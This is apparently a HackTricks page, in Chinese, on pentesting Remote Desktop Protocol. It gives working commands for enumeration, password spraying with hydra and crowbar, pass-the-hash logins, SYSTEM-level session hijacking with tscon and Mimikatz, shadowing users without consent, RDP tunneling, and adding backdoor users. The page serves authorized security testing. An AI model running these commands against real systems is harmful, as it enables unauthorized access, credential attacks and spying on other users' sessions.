3389 - Pentesting RDP
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
基本信息
由 Microsoft 开发,Remote Desktop Protocol(RDP)旨在实现网络上计算机之间的图形界面连接。要建立此类连接,用户需要使用 RDP 客户端软件,同时远程计算机必须运行 RDP 服务器软件。该配置允许无缝控制和访问远程计算机的桌面环境,实质上将其界面带到用户的本地设备上。
默认端口: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
枚举
自动
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
它会检查可用的加密和 DoS 漏洞(不对服务造成 DoS),并获取 NTLM Windows 信息(版本)。
安全层 / NLA 检查
RDP 可以协商不同的安全层(原生 RDP、TLS 或 CredSSP/NLA)。你可以快速对服务器端设置进行指纹识别,判断是否需要 NLA:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
小心,你可能会锁定账户
Password Spraying
小心,你可能会锁定账户
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
使用已知 credentials/hash 进行连接
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
检查已知 credentials 是否可用于 RDP 服务
rdp_check.py 来自 impacket,可让你检查某些 credentials 是否对 RDP 服务有效:
rdp_check <domain>/<name>:<password>@<IP>
攻击
Session stealing
拥有 SYSTEM permissions 后,您可以访问任何 opened RDP session by any user,无需知道其所有者的密码。
获取已打开的会话:
query user
访问所选会话
tscon <ID> /dest:<SESSIONNAME>
现在你将进入所选的 RDP 会话,并只使用 Windows 工具和功能来冒充某个用户。
Important: 当你访问一个活动的 RDP 会话时,会将正在使用该会话的用户踢出。
你可以通过对进程进行 dump 来获取密码,但这种方法更快,并让你能够与用户的虚拟桌面交互(例如未保存到磁盘的密码出现在 notepad 中、其他机器上打开的 RDP 会话等…)
Mimikatz
你也可以使用 Mimikatz 来做到这一点:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
如果 Remote Desktop Services shadowing 已启用,您可以使用内置的 mstsc 开关 查看或控制 另一个用户的活动会话(有时 无需同意)。
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP 支持 virtual channels,可被滥用在已建立的 RDP 会话中进行 pivoting/tunneling。一个选项是 rdp2tcp(client/server),它可以在 RDP 上复用 TCP 转发(可与 FreeRDP 配合使用)。
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
将此技术与 stickykeys 或 utilman 结合,您将能够随时访问 管理员 CMD 和任何 RDP 会话
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
如果来自不同域或具有 更高权限通过 RDP 登录 的人连接到那台您为 您是 Admin 的 PC,您可以 inject 您的 beacon 到他的 RDP session process 中并以他的身份行动:
将用户添加到 RDP 组
net localgroup "Remote Desktop Users" UserLoginName /add
自动化工具
AutoRDPwn 是一个用 Powershell 创建的 post-exploitation 框架,主要用于自动化对 Microsoft Windows 计算机的 Shadow 攻击。该漏洞(被 Microsoft 列为一个功能)允许远程攻击者在未经受害者同意的情况下查看其桌面,甚至在需要时使用操作系统自带的工具对其进行控制。
-
通过命令行以自动化方式控制鼠标和键盘
-
通过命令行以自动化方式控制剪贴板
-
在客户端生成一个 SOCKS 代理,通过 RDP 将网络通信转发到目标
-
无需上传文件即可在目标上执行任意 SHELL 和 PowerShell 命令
-
即使目标禁用文件传输,也能上传和下载文件到/从目标
该工具允许在受害者的 RDP 会话中执行命令,无需图形界面。
HackTricks Automatic Commands
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
参考资料
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


